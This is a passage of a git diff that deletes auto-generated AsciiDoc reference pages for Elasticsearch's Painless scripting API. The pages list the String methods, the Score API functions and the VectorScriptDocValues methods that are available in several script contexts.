-See the <<painless-api-reference-number-sort, Number Sort API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-number-sort-IntervalDayTime]]
-==== IntervalDayTime
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-number-sort-IntervalYearMonth]]
-==== IntervalYearMonth
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-painless-test/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-painless-test/index.asciidoc
deleted file mode 100644
index 5ceee2904be..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-painless-test/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-painless-test]]
-=== Painless Test API
-
-The following specialized API is available in the Painless Test context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-painless-test-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-painless-test-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-painless-test/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-painless-test/packages.asciidoc
deleted file mode 100644
index ee58588b3ff..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-painless-test/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-painless-test-java-lang"]
-=== Painless Test API for package java.lang
-See the <<painless-api-reference-painless-test, Painless Test API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-painless-test-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-processor-conditional/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-processor-conditional/index.asciidoc
deleted file mode 100644
index 1d2096b0f59..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-processor-conditional/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-processor-conditional]]
-=== Processor Conditional API
-
-The following specialized API is available in the Processor Conditional context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-processor-conditional-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-processor-conditional-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-processor-conditional/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-processor-conditional/packages.asciidoc
deleted file mode 100644
index 66b5d475b75..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-processor-conditional/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-processor-conditional-java-lang"]
-=== Processor Conditional API for package java.lang
-See the <<painless-api-reference-processor-conditional, Processor Conditional API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-processor-conditional-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-score/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-score/index.asciidoc
deleted file mode 100644
index 7a6bad51e11..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-score/index.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-score]]
-=== Score API
-
-The following specialized API is available in the Score context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Static Methods
-The following methods are directly callable without a class/instance qualifier. Note parameters denoted by a (*) are treated as read-only values.
-
-* double cosineSimilarity(List *, Object *)
-* double cosineSimilaritySparse(Map *, Object *)
-* double decayDateExp(String *, String *, String *, double *, JodaCompatibleZonedDateTime)
-* double decayDateGauss(String *, String *, String *, double *, JodaCompatibleZonedDateTime)
-* double decayDateLinear(String *, String *, String *, double *, JodaCompatibleZonedDateTime)
-* double decayGeoExp(String *, String *, String *, double *, GeoPoint)
-* double decayGeoGauss(String *, String *, String *, double *, GeoPoint)
-* double decayGeoLinear(String *, String *, String *, double *, GeoPoint)
-* double decayNumericExp(double *, double *, double *, double *, double)
-* double decayNumericGauss(double *, double *, double *, double *, double)
-* double decayNumericLinear(double *, double *, double *, double *, double)
-* double dotProduct(List *, Object *)
-* double dotProductSparse(Map *, Object *)
-* double l1norm(List *, Object *)
-* double l1normSparse(Map *, Object *)
-* double l2norm(List *, Object *)
-* double l2normSparse(Map *, Object *)
-* double randomScore(int *)
-* double randomScore(int *, String *)
-* double saturation(double, double)
-* double sigmoid(double, double, double)
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-score-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-score-String, String>>
-
-==== org.elasticsearch.xpack.vectors.query
-<<painless-api-reference-score-org-elasticsearch-xpack-vectors-query, Expand details for org.elasticsearch.xpack.vectors.query>>
-
-* <<painless-api-reference-score-VectorScriptDocValues, VectorScriptDocValues>>
-* <<painless-api-reference-score-VectorScriptDocValues-DenseVectorScriptDocValues, VectorScriptDocValues.DenseVectorScriptDocValues>>
-* <<painless-api-reference-score-VectorScriptDocValues-SparseVectorScriptDocValues, VectorScriptDocValues.SparseVectorScriptDocValues>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-score/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-score/packages.asciidoc
deleted file mode 100644
index 5be078469d6..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-score/packages.asciidoc
+++ /dev/null
@@ -1,234 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-score-java-lang"]
-=== Score API for package java.lang
-See the <<painless-api-reference-score, Score API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-score-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
-[role="exclude",id="painless-api-reference-score-org-elasticsearch-xpack-vectors-query"]
-=== Score API for package org.elasticsearch.xpack.vectors.query
-See the <<painless-api-reference-score, Score API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-score-VectorScriptDocValues]]
-==== VectorScriptDocValues
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* def {java11-javadoc}/java.base/java/util/List.html#get(int)[get](int)
-* Object getByPath(String)
-* Object getByPath(String, Object)
-* int getLength()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* String join(String)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-score-VectorScriptDocValues-DenseVectorScriptDocValues]]
-==== VectorScriptDocValues.DenseVectorScriptDocValues
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* def {java11-javadoc}/java.base/java/util/List.html#get(int)[get](int)
-* Object getByPath(String)
-* Object getByPath(String, Object)
-* int getLength()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* String join(String)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-score-VectorScriptDocValues-SparseVectorScriptDocValues]]
-==== VectorScriptDocValues.SparseVectorScriptDocValues
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* def {java11-javadoc}/java.base/java/util/List.html#get(int)[get](int)
-* Object getByPath(String)
-* Object getByPath(String, Object)
-* int getLength()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* String join(String)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
